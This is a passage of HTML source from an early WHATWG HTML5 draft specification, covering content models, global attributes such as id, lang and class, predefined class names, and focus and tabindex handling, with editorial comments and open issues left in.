comes in various types:  <dl>   <dt><dfn id=strictly>Strictly inline-level content</dfn>   <dd>Text, <a href="#embedded0">embedded content</a>, and elements that    annotate the text without introducing structural grouping. For example:    <code><a href="#a0">a</a></code>, <code><a    href="#meter0">meter</a></code>, <code><a href="#img0">img</a></code>.    Elements used in contexts allowing only strictly inline-level content    must not contain anything other than strictly inline-level content.   <dt><dfn id=structured>Structured inline-level elements</dfn>   <dd>Block-level elements that can also be used as inline-level content.    For example: <code><a href="#ol0">ol</a></code>, <code><a    href="#blockquote0">blockquote</a></code>, <code><a    href="#table0">table</a></code>.  </dl>  <p>Some elements are defined to have as a content model <dfn   id=significant>significant inline content</dfn>. This means that at least   one descendant of the element must be <a href="#significant0">significant   text</a> or <a href="#embedded0">embedded content</a>.  <p>Unless an element's content model explicitly states that it must contain   <a href="#significant">significant inline content</a>, simply having no <a   href="#text-node" title="text node">text nodes</a> and no elements   satisfies an element whose content model is some kind of inline content.  <p><dfn id=significant0>Significant text</dfn>, for the purposes of   determining the presence of <a href="#significant">significant inline   content</a>, consists of any character other than those falling in the <a   href="http://unicode.org/Public/UNIDATA/UCD.html#General_Category_Values">Unicode   categories</a> Zs, Zl, Zp, Cc, and Cf. <a   href="#refsUNICODE">[UNICODE]</a>  <div class=example>   <p>The following three paragraphs are non-conforming because their content    model is not satisfied (they all count as empty).</p>   <pre>AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;emAMPERSANDgt;AMPERSANDamp;#x00A0;AMPERSANDlt;/emAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;pAMPERSANDgt; AMPERSANDlt;olAMPERSANDgt;  AMPERSANDlt;liAMPERSANDgt;AMPERSANDlt;/liAMPERSANDgt; AMPERSANDlt;/olAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>  </div>  <p><dfn id=embedded0>Embedded content</dfn> consists of elements that   introduce content from other resources into the document, for example   <code><a href="#img0">img</a></code>. Embedded content elements can have   <dfn id=fallback>fallback content</dfn>: content that is to be used when   the external resource cannot be used (e.g. because it is of an unsupported   format). The element definitions state what the fallback is, if any.  <h5 id=determining><span class=secno>3.3.3.3. </span><dfn   id=determining2>Determining if a particular element contains block-level   elements or inline-level content</dfn></h5>  <p>Some elements are defined to have content models that allow either <a   href="#block-level1">block-level elements</a> or <a   href="#inline-level1">inline-level content</a>, but not both. For example,   the <code><a href="#aside0">aside</a></code> and <code><a   href="#li0">li</a></code> elements.  <p>To establish whether such an element is being used as a block-level   container or as an inline-level container, for example in order to   determine if a document conforms to these requirements, user agents must   look at the element's child nodes. If any of the child nodes are not   allowed in block-level contexts, then the element is being used for <a   href="#inline-level1">inline-level content</a>. If all the child nodes are   allowed in a block-level context, then the element is being used for <a   href="#block-level1">block-level elements</a>.  <div class=example>   <p>For instance, in the following (non-conforming) fragment, the <code><a    href="#li0">li</a></code> element is being used as an inline-level    element container, because the <code><a href="#style0">style</a></code>    element is not allowed in a block-level context. (It doesn't matter, for    the purposes of determining whether it is an inline-level or block-level    context, that the <code><a href="#style0">style</a></code> element is not    allowed in inline-level contexts either.)</p>   <pre>AMPERSANDlt;olAMPERSANDgt; AMPERSANDlt;liAMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt; Hello World AMPERSANDlt;/pAMPERSANDgt;  AMPERSANDlt;styleAMPERSANDgt;   /* This example is illegal. */  AMPERSANDlt;/styleAMPERSANDgt; AMPERSANDlt;/liAMPERSANDgt;AMPERSANDlt;/olAMPERSANDgt;</pre>   <p>In the following fragment, the <code><a href="#aside0">aside</a></code>    element is being used as a block-level container, because even though all    the elements it contains could be considered inline-level elements, there    are no nodes that can only be considered inline-level.</p>   <pre>AMPERSANDlt;asideAMPERSANDgt; AMPERSANDlt;olAMPERSANDgt;  AMPERSANDlt;liAMPERSANDgt; ... AMPERSANDlt;/liAMPERSANDgt; AMPERSANDlt;/olAMPERSANDgt; AMPERSANDlt;ulAMPERSANDgt;  AMPERSANDlt;liAMPERSANDgt; ... AMPERSANDlt;/liAMPERSANDgt; AMPERSANDlt;/ulAMPERSANDgt;AMPERSANDlt;/asideAMPERSANDgt;</pre>   <p>On the other hand, in the following similar fragment, the <code><a    href="#aside0">aside</a></code> element is an inline-level container,    because the text ("Foo") can only be considered inline-level.</p>   <pre>AMPERSANDlt;asideAMPERSANDgt; AMPERSANDlt;olAMPERSANDgt;  AMPERSANDlt;liAMPERSANDgt; ... AMPERSANDlt;/liAMPERSANDgt; AMPERSANDlt;/olAMPERSANDgt; FooAMPERSANDlt;/asideAMPERSANDgt;</pre>  </div>  <h5 id=interactive0><span class=secno>3.3.3.4. </span><dfn   id=interactive3>Interactive elements</dfn></h5>  <p>Certain elements in HTML can be activated, for instance <code><a   href="#a0">a</a></code> elements, <code>button</code> elements, or   <code>input</code> elements when their <code>type</code> attribute is set   to <code>radio</code>. Activation of those elements can happen in various   (UA-defined) ways, for instance via the mouse or keyboard.  <p>When activation is performed via some method other than clicking the   pointing device, the default action of the event that triggers the   activation must, instead of being activating the element directly, be to   <a href="#firing">fire a <code title="">click</code> event</a> on the same   element.</p>  <!-- XXX this part is wrong; we should define it in terms of ANY  click event, possibly requiring trusted clicks: -->  <p>The default action of this <code title=event-click>click</code> event,   or of the real <code title=event-click>click</code> event if the element   was activated by clicking a pointing device, must be to dispatch yet   another event, namely <a   href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-DOMActivate"><code>DOMActivate</code></a>.   It is the default action of <em>that</em> event that then performs the   actual action.</p>  <!-- XXX need to define the dispatching of  DOMActivate in the same way we define the dispatching of click -->  <p>For certain form controls, this process is complicated further by <a   href="http://whatwg.org/specs/web-forms/current-work/#the-click">changes   that must happen around the click event</a>. <a href="#refsWF2">[WF2]</a></p>  <!-- XXX WF2: when this is merged into  this spec, update xrefs -->  <p class=note>Most interactive elements have content models that disallowed   nesting interactive elements.  <p class=big-issue> Need to define how default actions actually work. For   instance, if you click an event inside a link, the event is triggered on   that element, but then we'd like a click is sent on the link itself. So   how does that happen? Does the link have a bubbling listener that triggers   that second click event? what if there are multiple nested links, which   one should we send that event to?</p>  <!--   <li><span>Form control elements</span></li> XXX-->  <h5 id=paragraphs><span class=secno>3.3.3.5. </span>Paragraphs</h5>  <p>A <dfn id=paragraph>paragraph</dfn> is typically a block of text with   one or more sentences that discuss a particular topic, as in typography,   but can also be used for more general thematic grouping. For instance, an   address is also a paragraph, as is a part of a form, a byline, or a stanza   in a poem.  <p>Paragraphs can be represented by several elements. The <code><a   href="#address0">address</a></code> element always represents a paragraph   of contact information for its section, the <code><a   href="#aside0">aside</a></code>, <code><a href="#nav0">nav</a></code>,   <code><a href="#footer0">footer</a></code>, <code><a   href="#li0">li</a></code>, and <code><a href="#dd0">dd</a></code> elements   represent paragraphs with various specific semantics when they are <a   href="#determining2" title="Determining if a particular element contains   block-level elements or inline-level content">used as inline-level content   containers</a>, the <code><a href="#figure0">figure</a></code> element   represents a paragraph in the form of <a href="#embedded0">embedded   content</a>, and the <code><a href="#p0">p</a></code> element represents   all the other kinds of paragraphs, for which there are no dedicated   elements.  <h3 id=global><span class=secno>3.4. </span>Global attributes</h3>  <p>The following attributes are common to and may be specified on all <a   href="#html-elements">HTML elements</a> (even those not defined in this   specification):  <dl class=element>   <dt>Global attributes:   <dd><code title=attr-class><a href="#class6">class</a></code>   <dd><code title=attr-contenteditable><a    href="#contenteditable0">contenteditable</a></code>   <dd><code title=attr-contextmenu><a    href="#contextmenu">contextmenu</a></code>   <dd><code title=attr-dir><a href="#dir0">dir</a></code>   <dd><code title=attr-draggable><a href="#draggable0">draggable</a></code>   <dd><code title=attr-id><a href="#id0">id</a></code>   <dd><code title=attr-lang><a href="#lang0">lang</a></code>   <dd><code title=attr-tabindex><a href="#tabindex">tabindex</a></code>   <dd><code title=attr-title><a href="#title1">title</a></code>  </dl>  <p>In addition, the following <a href="#event1">event handler content   attributes</a> may be specified on any <span>HTML element</span>:  <ul class=brief>   <li><code title=handler-onclick><a href="#onclick">onclick</a></code>   <li>...more events...  </ul>  <h4 id=the-id><span class=secno>3.4.1. </span>The <dfn id=id0   title=attr-id><code>id</code></dfn> attribute</h4>  <p>The <code title=attr-id><a href="#id0">id</a></code> attribute   represents its element's unique identifier. The value must be unique in   the subtree within which the element finds itself and must contain at   least one character.  <p>If the value is not the empty string, user agents must associate the   element with the given value (exactly) for the purposes of ID matching   within the subtree the element finds itself (e.g. for selectors in CSS or   for the <code>getElementById()</code> method in the DOM).  <p>Identifiers are opaque strings. Particular meanings should not be   derived from the value of the <code title=attr-id><a   href="#id0">id</a></code> attribute.  <p>This specification doesn't preclude an element having multiple IDs, if   other mechanisms (e.g. DOM Core methods) can set an element's ID in a way   that doesn't conflict with the <code title=attr-id><a   href="#id0">id</a></code> attribute.  <p>The <dfn id=id1 title=dom-id><code>id</code></dfn> DOM attribute must <a   href="#reflect">reflect</a> the <code title=attr-id><a   href="#id0">id</a></code> content attribute.  <h4 id=the-title><span class=secno>3.4.2. </span>The <dfn id=title1   title=attr-title><code>title</code></dfn> attribute</h4>  <p>The <code title=attr-title><a href="#title1">title</a></code> attribute   represents advisory information for the element, such as would be   appropriate for a tooltip. On a link, this could be the title or a   description of the target resource; on an image, it could be the image   credit or a description of the image; on a paragraph, it could be a   footnote or commentary on the text; on a citation, it could be further   information about the source; and so forth. The value is text.  <p>If this attribute is omitted from an element, then it implies that the   <code title=attr-title><a href="#title1">title</a></code> attribute of the   nearest ancestor with a <code title=attr-title><a   href="#title1">title</a></code> attribute set is also relevant to this   element. Setting the attribute overrides this, explicitly stating that the   advisory information of any ancestors is not relevant to this element.   Setting the attribute to the empty string indicates that the element has   no advisory information.  <p>Some elements, such as <code><a href="#link0">link</a></code> and   <code><a href="#dfn0">dfn</a></code>, define additional semantics for the   <code title=attr-title><a href="#title1">title</a></code> attribute beyond   the semantics described above.  <p>The <dfn id=title2 title=dom-title><code>title</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the <code   title=attr-title><a href="#title1">title</a></code> content attribute.  <h4 id=the-lang><span class=secno>3.4.3. </span>The <dfn id=lang0   title=attr-lang><code>lang</code></dfn> (HTML only) and <dfn id=xmllang0   title=attr-xml-lang><code>xml:lang</code></dfn> (XML only) attributes</h4>  <p>The <code title=attr-lang><a href="#lang0">lang</a></code> attribute   specifies the primary language for the element's contents and for any of   the element's attributes that contain text. Its value must be a valid RFC   3066 language code, or the empty string. <a   href="#refsRFC3066">[RFC3066]</a>  <p>The <code title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code>   attribute is defined in XML. <a href="#refsXML">[XML]</a>  <p>If these attributes are omitted from an element, then it implies that   the language of this element is the same as the language of the parent   element. Setting the attribute to the empty string indicates that the   primary language is unknown.  <p>The <code title=attr-lang><a href="#lang0">lang</a></code> attribute may   only be used on elements of <a href="#html-">HTML documents</a>. Authors   must not use the <code title=attr-lang><a href="#lang0">lang</a></code>   attribute in <a href="#xml-documents">XML documents</a>.  <p>The <code title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code>   attribute may only be used on elements of <a href="#xml-documents">XML   documents</a>. Authors must not use the <code title=attr-xml-lang><a   href="#xmllang0">xml:lang</a></code> attribute in <a href="#html-">HTML   documents</a>.</p>  <!-- technically this  is redundant with the XML spec -->  <p>To determine the language of a node, user agents must look at the   nearest ancestor element (including the element itself if the node is an   element) that has a <code title=attr-lang><a href="#lang0">lang</a></code>   or <code title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code>   attribute set. That specifies the language of the node.  <p>If both the <code title=attr-xml-lang><a   href="#xmllang0">xml:lang</a></code> attribute and the <code   title=attr-lang><a href="#lang0">lang</a></code> attribute are set on an   element, user agents must use the <code title=attr-xml-lang><a   href="#xmllang0">xml:lang</a></code> attribute, and the <code   title=attr-lang><a href="#lang0">lang</a></code> attribute must be <a   href="#ignored" title=ignore>ignored</a> for the purposes of determining   the element's language.  <p>If no explicit language is given for the <a href="#root-element">root   element</a>, then language information from a higher-level protocol (such   as HTTP), if any, must be used as the final fallback language. In the   absence of any language information, the default value is unknown (the   empty string).  <p>User agents may use the element's language to determine proper   processing or rendering (e.g. in the selection of appropriate fonts or   pronounciations, or for dictionary selection). <!--User  agents must not use the element's language to determine text  directionality. (commented out because text directionality is a  rendering-level concern.)-->  <p>The <dfn id=lang1 title=dom-lang><code>lang</code></dfn> DOM attribute   must <a href="#reflect">reflect</a> the <code title=attr-lang><a   href="#lang0">lang</a></code> content attribute.  <h4 id=the-dir><span class=secno>3.4.4. </span>The <dfn id=dir0   title=attr-dir><code>dir</code></dfn> attribute</h4>  <p class=big-issue>redefine this in terms of a microsyntax  <p>The <code title=attr-dir><a href="#dir0">dir</a></code> attribute   specifies the element's text directionality. The attribute, if specified,   must have either the literal value <code>ltr</code> or the literal value   <code>rtl</code>.  <p>If the attribute has the literal value <code>ltr</code>, the element's   directionality is left-to-right. If the attribute has the literal value   <code>rtl</code>, the element's directionality is right-to-left. If the   attribute is omitted or has another value, then the directionality is   unchanged.  <p>The processing of this attribute depends on the presentation layer. For   example, CSS 2.1 defines a mapping from this attribute to the CSS   'direction' and 'unicode-bidi' properties, and defines rendering in terms   of those property.  <p>The <dfn id=dir1 title=dom-dir><code>dir</code></dfn> DOM attribute must   <a href="#reflect">reflect</a> the <code title=attr-dir><a   href="#dir0">dir</a></code> content attribute.  <h4 id=classes><span class=secno>3.4.5. </span>Classes</h4>  <p>Every <span>HTML element</span> may have a <dfn id=class6   title=attr-class><code>class</code></dfn> attribute specified.  <p>The attribute, if specified, must have a value that is an <a   href="#unordered">unordered set of space-separated tokens</a> representing   the various classes that the element belongs to.  <p>The classes that an HTML element has assigned to it consists of all the   classes returned when the value of the <code title=attr-class><a   href="#class6">class</a></code> attribute is <a href="#split" title="split   a string on spaces">split on spaces</a>.  <p class=note>Assinging classes to an element affects class matching in   selectors in CSS, the <code title=dom-document-getElementsByClassName><a   href="#getelementsbyclassname">getElementsByClassName()</a></code> method   in the DOM, and other such features.  <p>Authors may use any value in the <code title=attr-class><a   href="#class6">class</a></code> attribute, but are encouraged to use the   predefined values defined in this specification where appropriate.  <p>Classes that are not defined in this specification can be defined as <a   href="#extensions0" title=concept-class-extensions>extensions</a>, as   described below.  <p>Authors should bear in mind that using the <code title=attr-class><a   href="#class6">class</a></code> attribute does not convey any additional   meaning to the element unless the classes used have been defined by this   specification or registered in the Wiki. There is no semantic difference   between an element <em>with</em> a class attribute and one   <em>without</em>. Authors that use classes that are not so defined should   make sure, therefore, that their documents make as much sense once all   <code title=attr-class><a href="#class6">class</a></code> attributes have   been removed as they do with the attributes present. User agents should   not derive particular meanings from <code title=attr-class><a   href="#class6">class</a></code> attribute values that are neither defined   by this specification nor registered in the Wiki.  <p>The <dfn id=classname title=dom-className><code>className</code></dfn>   DOM attribute must <a href="#reflect">reflect</a> the <code   title=attr-class><a href="#class6">class</a></code> content attribute.  <h5 id=predefined><span class=secno>3.4.5.1. </span>Predefined class names</h5>  <p>The following table summarises the class names that are defined by this   specification. This table is non-normative; the actual definitions for the   class names are given in the next few sections.  <table>   <thead>    <tr>     <th>Class name     <th>Applicable elements     <th>Brief description   <tbody>    <tr>     <td><code title=class-copyright><a      href="#copyright0">copyright</a></code>     <td><code><a href="#p0">p</a></code>, <code><a      href="#span0">span</a></code>     <td>Indicates that the element contains the copyright for the document.    <tr>     <td><code title=class-error><a href="#error0">error</a></code>     <td><code><a href="#p0">p</a></code>, <code><a      href="#section0">section</a></code>, <code><a      href="#span0">span</a></code>, <code><a      href="#strong0">strong</a></code>     <td>Indicates that the element contains an error message, e.g. in an      error message to the user in an interactive application, or an error      notification in the report of a conformance checker.    <tr>     <td><code title=class-example><a href="#example1">example</a></code>     <td><code><a href="#aside0">aside</a></code>, <code><a      href="#figure0">figure</a></code>, <code><a href="#p0">p</a></code>,      <code><a href="#section0">section</a></code>, <code><a      href="#span0">span</a></code>     <td>Indicates that the element contains some sample material or a worked      example illustrating the neighboring content.    <tr>     <td><code title=class-issue><a href="#issue0">issue</a></code>     <td><code><a href="#aside0">aside</a></code>, <code><a      href="#p0">p</a></code>, <code><a href="#span0">span</a></code>     <td>Indicates that the element contains a point in dispute or a problem      with the neighboring content that needs resolving. (Thus, this is      typically only found in works-in-progress or drafts, not in completed      documents.)    <tr>     <td><code title=class-note><a href="#note0">note</a></code>     <td><code><a href="#aside0">aside</a></code>, <code><a      href="#p0">p</a></code>, <code><a href="#span0">span</a></code>     <td>Indicates that the element contains an explanatory note or      clarification.    <tr>     <td><code title=class-search><a href="#search1">search</a></code>     <td><code><a href="#aside0">aside</a></code>, <code><a      href="#body1">body</a></code>, <code>form</code>, <code><a      href="#p0">p</a></code>, <code><a href="#section0">section</a></code>,      <code><a href="#span0">span</a></code>     <td>Indicates that the element's primary purpose is to provide the user      with an interface to perform a search (e.g. of the site's pages or of a      database).    <tr>     <td><code title=class-warning><a href="#warning0">warning</a></code>     <td><code><a href="#article0">article</a></code>, <code><a      href="#aside0">aside</a></code>, <code><a      href="#body1">body</a></code>, <code><a      href="#figure0">figure</a></code>, <code><a href="#p0">p</a></code>,      <code><a href="#section0">section</a></code>, <code><a      href="#span0">span</a></code>, <code><a      href="#strong0">strong</a></code>     <td>Indicates that the element contains a warning or admonition.  </table>  <h6 id=class><span class=secno>3.4.5.1.1. </span>Class name "<dfn   id=copyright0 title=class-copyright><code>copyright</code></dfn>"</h6>  <p>The <code title=class-copyright><a   href="#copyright0">copyright</a></code> class name indicates that the   element contains the copyright for the document.  <p>It must only be used on the following elements: <code><a   href="#p0">p</a></code>, <code><a href="#span0">span</a></code>  <h6 id=class0><span class=secno>3.4.5.1.2. </span>Class name "<dfn   id=error0 title=class-error><code>error</code></dfn>"</h6>  <p>The <code title=class-error><a href="#error0">error</a></code> class   name indicates that the element contains an error message, e.g. in an   error message to the user in an interactive application, or an error   notification in the report of a conformance checker.  <p>It must only be used on the following elements: <code><a   href="#p0">p</a></code>, <code><a href="#section0">section</a></code>,   <code><a href="#span0">span</a></code>, <code><a   href="#strong0">strong</a></code>  <p>It cannot be used on the <code><a href="#body1">body</a></code> element;   if the whole document is an error message then the appropriate metadata   should be included at the network layer (e.g. with HTTP using the 4xx and   5xx status codes).  <h6 id=class1><span class=secno>3.4.5.1.3. </span>Class name "<dfn   id=example1 title=class-example><code>example</code></dfn>"</h6>  <p>The <code title=class-example><a href="#example1">example</a></code>   class name indicates that the element contains some sample material or a   worked example illustrating the neighboring content.  <p>It must only be used on the following elements: <code><a   href="#aside0">aside</a></code>, <code><a   href="#figure0">figure</a></code>, <code><a href="#p0">p</a></code>,   <code><a href="#span0">span</a></code>  <h6 id=class2><span class=secno>3.4.5.1.4. </span>Class name "<dfn   id=issue0 title=class-issue><code>issue</code></dfn>"</h6>  <p>The <code title=class-issue><a href="#issue0">issue</a></code> class   name indicates that the element contains a point in dispute or a problem   with the neighboring content that needs resolving. (Thus, this is   typically only found in works-in-progress or drafts, not in completed   documents.)  <p>It must only be used on the following elements: <code><a   href="#aside0">aside</a></code>, <code><a href="#p0">p</a></code>,   <code><a href="#span0">span</a></code>  <h6 id=class3><span class=secno>3.4.5.1.5. </span>Class name "<dfn id=note0   title=class-note><code>note</code></dfn>"</h6>  <p>The <code title=class-note><a href="#note0">note</a></code> class name   indicates that the element contains an explanatory note or clarification.  <p>It must only be used on the following elements: <code><a   href="#aside0">aside</a></code>, <code><a href="#p0">p</a></code>,   <code><a href="#span0">span</a></code>  <h6 id=class4><span class=secno>3.4.5.1.6. </span>Class name "<dfn   id=search1 title=class-search><code>search</code></dfn>"</h6>  <p>The <code title=class-search><a href="#search1">search</a></code> class   name indicates that the element's primary purpose is to provide the user   with an interface to perform a search (e.g. of the site's pages or of a   database).  <p>It must only be used on the following elements: <code><a   href="#aside0">aside</a></code>, <code><a href="#body1">body</a></code>,   <code>form</code>, <code><a href="#p0">p</a></code>, <code><a   href="#section0">section</a></code>, <code><a   href="#span0">span</a></code></p>  <!--  <p>A <code>form</code> element inside a <code>nav</code> element  must be treated by user agents as if it had a <code>search</code> class.</p>(but this musn't affect the DOM, or CSS, etc)-->  <h6 id=class5><span class=secno>3.4.5.1.7. </span>Class name "<dfn   id=warning0 title=class-warning><code>warning</code></dfn>"</h6>  <p>The <code title=class-warning><a href="#warning0">warning</a></code>   class name indicates that the element contains a warning or admonition.  <p>It must only be used on the following elements: <code><a   href="#article0">article</a></code>, <code><a   href="#aside0">aside</a></code>, <code><a href="#body1">body</a></code>,   <code><a href="#figure0">figure</a></code>, <code><a   href="#p0">p</a></code>, <code><a href="#section0">section</a></code>,   <code><a href="#span0">span</a></code>, <code><a   href="#strong0">strong</a></code>  <h5 id=other><span class=secno>3.4.5.2. </span>Other classes</h5>  <p><dfn id=extensions title=concept-class-extensions>Extensions to the   predefined set of class keywords</dfn> may be registered in the <a   href="http://wiki.whatwg.org/wiki/ClassExtensions">WHATWG Wiki   ClassExtensions page</a>.  <p>Anyone is free to edit the WHATWG Wiki ClassExtensions page at any time   to add a type. New classes must be specified with the following   information:  <dl>   <dt>Keyword   <dd>    <p>The actual class name being defined. The class name should not be     confusingly similar to any other defined class name (e.g. differing only     in case).   <dt>Applicable elements   <dd>    <p>A list of HTML elements to which the class applies, or one of the     following values:</p>    <dl>     <dt>Metadata elements     <dd>Meaning any element described as being a <a href="#metadata"      title="metadata elements">metadata element</a>.     <dt>Sectioning elements     <dd>Meaning any element described as being a <a href="#sectioning"      title="sectioning elements">sectioning element</a>.     <dt>Block-level elements     <dd>Meaning any element described as being a <a href="#block-level1"      title="block-level elements">block-level element</a>, but only when      that element is actually <a href="#determining2" title="Determining if      a particular element contains block-level elements or inline-level      content">being used</a> as a block-level element, and not, say, as a      structured inline-level element.     <dt>Strictly inline-level elements     <dd>Meaning any element described as being <a href="#strictly">strictly      inline-level content</a>.     <dt>Structured inline-level elements     <dd>Meaning any element described as being a <a href="#structured"      title="structured inline-level elements">structured inline-level      element</a>.     <dt>Interactive     <dd>Meaning any element described as being an <a href="#interactive3"      title="interactive elements">interactive element</a>.     <dt>Embedded content elements     <dd>Meaning any element described as being <a href="#embedded0">embedded      content</a>.     <dt>All elements     <dd>Meaning any element.    </dl>    <p>A document must not use a class defined in the Wiki on an element     other than the elements that the Wiki says that class name is allowed     on.</p>   <dt>Brief description   <dd>    <p>A short description of what the keyword's meaning is.   <dt>Link to more details   <dd>    <p>A link to a more detailed description of the keyword's semantics and     requirements. It could be another page on the Wiki, or a link to an     external page.   <dt>Synonyms   <dd>    <p>A list of other keyword values that have exactly the same processing     requirements. Authors should not use the values defined to be synonyms,     they are only intended to allow user agents to support legacy content.   <dt>Status   <dd>    <p>One of the following:</p>    <dl>     <dt>Proposal     <dd>The keyword has not received wide peer review and approval. Someone      has proposed it and is using it.     <dt>Accepted     <dd>The keyword has received wide peer review and approval. It has a      specification that unambiguously defines how to handle pages that use      the keyword, including when they use them in incorrect ways. Pages      should use the keyword to mark up the semantic that it describes.     <dt>Unendorsed     <dd>The keyword has received wide peer review and it has been found      wanting. Existing pages are using this keyword, but new pages should      avoid it. The "brief description" and "link to more details" entries      will give details of what authors should use instead.    </dl>    <p>If a keyword is added with the "proposal" status and found to be     redundant with existing values, it should be removed and listed as a     synonym for the existing value.</p>  </dl>  <p>Conformance checkers must use the information given on the WHATWG Wiki   ClassExtensions page to establish if a value not explicitly defined in   this specification is defined, and if so, whether it is being used on the   right elements. When an author uses a new class name not defined by either   this specification or the Wiki page, conformance checkers may offer to add   the value to the Wiki, with the details described above, with the   "proposal" status.  <p>This specification does not define how new values will get approved. It   is expected that the Wiki will have a community that addresses this.  <h3 id=interaction><span class=secno>3.5. </span><dfn   id=interaction2>Interaction</dfn></h3>  <!--ELEMENT           attribute long <span title="dom-tabindex">tabindex</span>;  void <span title="dom-click">click</span>();  void <span title="dom-focus">focus</span>();  void <span title="dom-blur">blur</span>();DOCUMENT  readonly attribute <span>Element</span> <span title="dom-document-activeElement">activeElement</span>;  readonly attribute boolean <span title="dom-document-hasFocus">hasFocus</span>;-->  <h4 id=activation><span class=secno>3.5.1. </span>Activation</h4>  <p>The <dfn id=click title=dom-click>click()</dfn> method must <a   href="#firing">fire a <code>click</code> event</a> at the element.  <h4 id=focus><span class=secno>3.5.2. </span>Focus</h4>  <p>When an element is <em>focused</em>, key events received by the document   must be targetted at that element. There is always an element focused; in   the absence of other elements being focused, the document's root element   is it.  <p>Which element within a document currently has focus is independent of   whether or not the document itself has the <em>system focus</em>.  <p>Some focusable elements might take part in <em>sequential focus   navigation</em>.  <h5 id=focus-management><span class=secno>3.5.2.1. </span>Focus management</h5>  <p>The <dfn id=focus0 title=dom-focus><code>focus()</code></dfn> and <dfn   id=blur title=dom-blur><code>blur()</code></dfn> methods must focus and   unfocus the element respectively, if the element is focusable.  <p class=big-issue>Well that clearly needs more.  <p>The <dfn id=activeelement   title=dom-document-activeElement><code>activeElement</code></dfn>   attribute must return the element in the document that has focus. If no   element specifically has focus, this must return the root element.  <p>The <dfn id=hasfocus   title=dom-document-hasFocus><code>hasFocus</code></dfn> attribute must   return true if the document, one of its nested <a href="#browsing"   title="browsing context">browsing contexts</a>, or any element in the   document or its browsing contexts currently has the system focus.  <h5 id=sequential><span class=secno>3.5.2.2. </span>Sequential focus   navigation</h5>  <p class=issue>This section on the <code>tabindex</code> attribute needs to   be checked for backwards-compatibility.  <p>The <dfn id=tabindex title=attr-tabindex><code>tabindex</code></dfn>   attribute specifies the relative order of elements for the purposes of   sequential focus navigation. The name "tab index" comes from the common   use of the "tab" key to navigate through the focusable elements. The term   "tabbing" refers to moving forward through the focusable elements.  <p>The <code title=attr-tabindex><a href="#tabindex">tabindex</a></code>   attribute, if specified, must have a value that is a <a   href="#valid0">valid integer</a>.  <p>If the attribute is specified, it must be parsed using the <a   href="#rules0">rules for parsing integers</a>. If parsing the value   returns an error, the attribute is ignored for the purposes of focus   management (as if it wasn't specified).  <p>A positive integer or zero specifies the index of the element in the   current scope's tab order. Elements with the same index are sorted in <a   href="#tree-order">tree order</a> for the purposes of tabbing.  <p id=negative-tabindex>A negative integer specifies that the element   should be removed from the tab order. If the element does normally take   focus, it may still be focused using other means (e.g. it could be focused   by a click).  <p>If the attribute is absent (or invalid), then the user agent must treat   the element as if it had the value 0 or the value -1, based on platform   conventions.  <p class=example>For example, a user agent might default   <code>textarea</code> elements to 0, and <code>button</code> elements to   -1, making text fields part of the tabbing cycle but buttons not.  <p>When an element that does not normally take focus (i.e. whose default   value would be -1) has the <code title=attr-tabindex><a   href="#tabindex">tabindex</a></code> attribute specified with a positive   value, then it should be added to the tab order and should be made   focusable. When focused, the element matches the CSS <code>:focus</code>   pseudo-class and key events are dispatched on that element in response to   keyboard input.  <p>The <dfn id=tabindex0 title=dom-tabIndex><code>tabIndex</code></dfn> DOM   attribute reflects the value of the <code title=attr-tabIndex><a   href="#tabindex">tabIndex</a></code> content attribute. If the attribute   is not present (or has an invalid value) then the DOM attribute must   return the UA's default value for that element, which will be either 0   (for elements in the tab order) or -1 (for elements not in the tab order).</p>  <!--XXX  <h5>The <dfn><code>DocumentFocus</code></dfn> interface</h5>  <p>The <code>DocumentFocus</code> interface contains methods for  moving focus around the document. It can be obtained from objects  that implement the <code>Document</code> interface using  binding-specific casting methods.</p>  <pre class="idl">interface <dfn>DocumentFocus</dfn> {  void moveFocusForward();  void moveFocusBackward();  void moveFocusUp();  void moveFocusRight();  void moveFocusDown();  void moveFocusLeft();};</pre>  <p>The <dfn><code>currentFocus</code></dfn> attribute returns the  element to which key events will be sent when the document receives  key events.</p>  <p>The <dfn><code>moveFocusForward</code></dfn> method uses the  <code>'nav-index'</code> property and the <code>tabindex</code>  attribute to find the next focusable element and focuses it.</p>  <p>The <dfn><code>moveFocusBackward</code></dfn> method uses the  <code>'nav-index'</code> property and the <code>tabindex</code>  attribute to find the previous focusable element and focuses  it.</p>  <p>The <dfn><code>moveFocusUp</code></dfn> method uses the  <code>'nav-up'</code> property and the <code>tabindex</code>  attribute to find an appropriate focusable element and focuses  it.</p>  <p>In a similar manner, the <dfn><code>moveFocusRight</code></dfn>,  <dfn><code>moveFocusDown</code></dfn>, and  <dfn><code>moveFocusLeft</code></dfn> methods use the  <code>'nav-right'</code>, <code>'nav-down'</code>, and  <code>'nav-left'</code> properties (respectively), and the  <code>tabindex</code> attribute, to find an appropriate focusable  element and focus it.</p>  <p>The <code>'nav-index'</code>, <code>'nav-up'</code>,  <code>'nav-right'</code>, <code>'nav-down'</code>, and  <code>'nav-left'</code> properties are defined in <a  href="#refsCSS3UI">[CSS3UI]</a>.</p>Other things to look at are IE's focus APIs (document.activeElement,document.hasFocus, HTMLElement.setActive(), onBeforeActivate,onActivate, onBeforeDeactivate, onDeactivate, document.hasFocus):   https://bugzilla.mozilla.org/show_bug.cgi?id=296471   https://bugzilla.mozilla.org/show_bug.cgi?id=296469   http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/activeelement.asp   http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/setactive.asp   http://msdn.microsoft.com/workshop/author/dhtml/reference/events/onbeforeactivate.asp   http://msdn.microsoft.com/workshop/author/dhtml/reference/methods/focus.asp-->  <h3 id=the-root><span class=secno>3.6. </span>The root element</h3>  <h4 id=the-html><span class=secno>3.6.1. </span>The <dfn   id=html0><code>html</code></dfn> element</h4>  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the root element of a document.   <dd>Wherever a subdocument fragment is allowed in a compound document.   <dt>Content model:   <dd>A <code><a href="#head0">head</a></code> element followed by a    <code><a href="#body1">body</a></code> element.</dd>   <!--XXXSteven Pemberton was as always, 